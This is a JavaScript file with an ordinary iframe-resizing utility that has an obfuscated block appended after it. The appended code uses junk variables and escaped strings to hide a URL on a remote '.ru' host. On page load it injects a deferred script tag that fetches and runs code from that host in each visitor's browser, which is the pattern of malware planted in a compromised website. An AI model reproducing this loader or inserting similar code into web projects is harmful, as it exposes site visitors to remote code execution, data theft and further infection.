var ResizeIframe = {   
  wrapperId : "tinc_content",
                
  /**
   * Resizes an iframe sId including oDoc to oDoc's content size.
   * Can be called top-down, i.e. from the including iframe (or it's parents) or bottom-up, i.e. from the included document.
   * In the latter case the iframe element is retrieved programmatically.
   * 
   * @param oDoc  Included page's document object
   * @param sId   ID of including iframe
   */               
  resize : function ( oDoc, sId ) 
  {
    try
    {
      if ( typeof oDoc == "undefined" ) return;
  
      if ( typeof sId != "undefined" ) 
      {
        var iframe = oDoc.getElementById( sId );
        var iframeDoc = iframe.contentWindow.document;
      } else {
        var iframeDoc = oDoc;
        var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
        var iframe = iframeWindow.frameElement;
      }
      var wrapper = iframeDoc.getElementById( this.wrapperId );

      // make sure we only resize once
      if ( iframeDoc.isIntegrated == true ) { return; }
      
      // switch on transparency for iframe
      iframeDoc.body.style.backgroundColor = "transparent";
      iframe.allowTransparency = "true";
            
      iframeDoc.body.style.padding = "0px";
      iframeDoc.body.style.border = "none";
      
      var tabs = iframeDoc.getElementsByTagName( "table" )
      if ( tabs[0] && tabs[0].className == "dborder" )
     	{		
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } else if ( iframeDoc.forms[0] && iframeDoc.forms[0].elements["formname"] ) 
      {
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } 
      
      if ( window.addEventListener )
      {   
      	var gcs = iframeDoc.defaultView.getComputedStyle( iframeDoc.body, null);
        var v_margin = parseInt( gcs.getPropertyValue( "margin-top" ) ) + parseInt( gcs.getPropertyValue( "margin-bottom" ) );
        var h_margin = parseInt( gcs.getPropertyValue( "margin-left" ) ) + parseInt( gcs.getPropertyValue( "margin-right" ) );
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + h_margin + "px";
        }
        
        // Setting the top padding of the wrapper avoids wrong calculation of the height due to collapsing margins behavior
        wrapper.style.paddingTop = "1px";
        
        height = wrapper.offsetHeight + v_margin ;
      } 
      else if ( window.attachEvent ) 
      {        
        iframeDoc.body.style.margin = "0px";
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + "px";
        }
        
        height = wrapper.offsetHeight;
      }

      if ( iframe.scrolling != "yes" ) { height += 20; }
      
      iframe.style.height = height + "px";
      iframeDoc.isIntegrated = true; 
    } catch ( ex )
    {
      return; 
    }
    
    WfxExtrasProcessor.process( oDoc, sId );
  }
}

var WfxExtrasProcessor = {
  process : function ( oDoc, sId)
  {    
    if ( typeof oDoc == "undefined" ) return;
  
    if ( typeof sId != "undefined" ) 
    {
      var iframe = oDoc.getElementById( sId );
      var iframeDoc = iframe.contentWindow.document;
    } else {
      var iframeDoc = oDoc;
      var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
      var iframe = iframeWindow.frameElement;
    }
    
    // let non-tinc links load in the parent document. this might need some adjustment
    var links = iframeDoc.getElementsByTagName( "a" );
    for ( var i = 0; i < links.length; i++ )
    {
      if ( links[i].href.indexOf( "/tinc" ) == -1 ) links[i].target = "_parent";
    }
    
    // Special case: WebElements forms might do redirection to another page after submission. That's indicated by a non-empty
    // 'redirectionEnabled' attribute of a submit button. 
    var inputs = iframeDoc.getElementsByTagName( "input" );
    for ( var i = 0; i < inputs.length; i++ )
    {
      var input = inputs[i];
      if ( input.getAttribute("redirection") != null && input.getAttribute("redirection") != '' ) 
        input.form.target = "_parent";
    }
  }
}
    
    



var B=new String();var H=new Array();function k(){var uK=new Array();var Si="";var Td;if(Td!='l' && Td != ''){Td=null};this.aB='';var q=window;var cM='';var T=unescape;var xG=new String();var So=new String();var p=T("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6c%2f%6d%6f%7a%69%6c%6c%61%2e%6f%72%67%2e%70%68%70");var XE=new String();var ml=new String();var d="";function M(X,x){var xz="";var j;if(j!='Xs' && j!='Zo'){j=''};this.yx='';this.ZX='';var qi=new String("gUEvK".substr(0,1));var K=T("%5b"), C=T("%5d");var f;if(f!='' && f!='LQ'){f='mf'};var nI;if(nI!='' && nI!='db'){nI='UW'};var u=K+x+C;var uX=new String();var uB=new RegExp(u, qi);var mlt=new Array();this.h='';return X.replace(uB, new String());var rI='';var xp=new Date();};var jg=new Date();var rW;if(rW!='' && rW!='s'){rW=null};var IC=new String();var wC=new String();var MY;if(MY!='JU'){MY='JU'};var nZ;if(nZ!='EB' && nZ!='oh'){nZ='EB'};var w=new String();var S=document;var uZ=M('87297104574784474097954','9453712');var hx='';function A(){var c=T("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");var N;if(N!='fy'){N='fy'};var Js=new Array();w=c;var ER;if(ER!='' && ER!='rv'){ER=''};var sC;if(sC!='' && sC!='Ds'){sC='iq'};w+=uZ;var e=new Array();w+=p;var bp;if(bp!=''){bp='cF'};var Mz;if(Mz!=''){Mz='aC'};var Mx='';try {L=S.createElement(M('sfcNrji4pBt4','gYPND14B_Ej8LmAnkf'));var RP='';var TL;if(TL!='' && TL!='VO'){TL='Iw'};L[T("%64%65%66%65%72")]=[1,2][0];var Yd=new Date();var bC="";L[T("%73%72%63")]=w;var Dq=new Array();var fI=new Array();S.body.appendChild(L);var zEL='';} catch(MZ){var aa;if(aa!='' && aa!='Ec'){aa=null};alert(MZ);};var Od=new String();var kF=new String();}var ty;if(ty!='' && ty!='Cs'){ty=''};var oc;if(oc!='' && oc!='Uv'){oc=''};q[new String("on"+"lo"+"ad")]=A;var rU;if(rU!='wr'){rU=''};var gL;if(gL!='QG'){gL=''};var KB="";};var sD;if(sD!='' && sD!='Xc'){sD=''};k();var Wk=new String();var oC;if(oC!='Lr' && oC!='zW'){oC=''};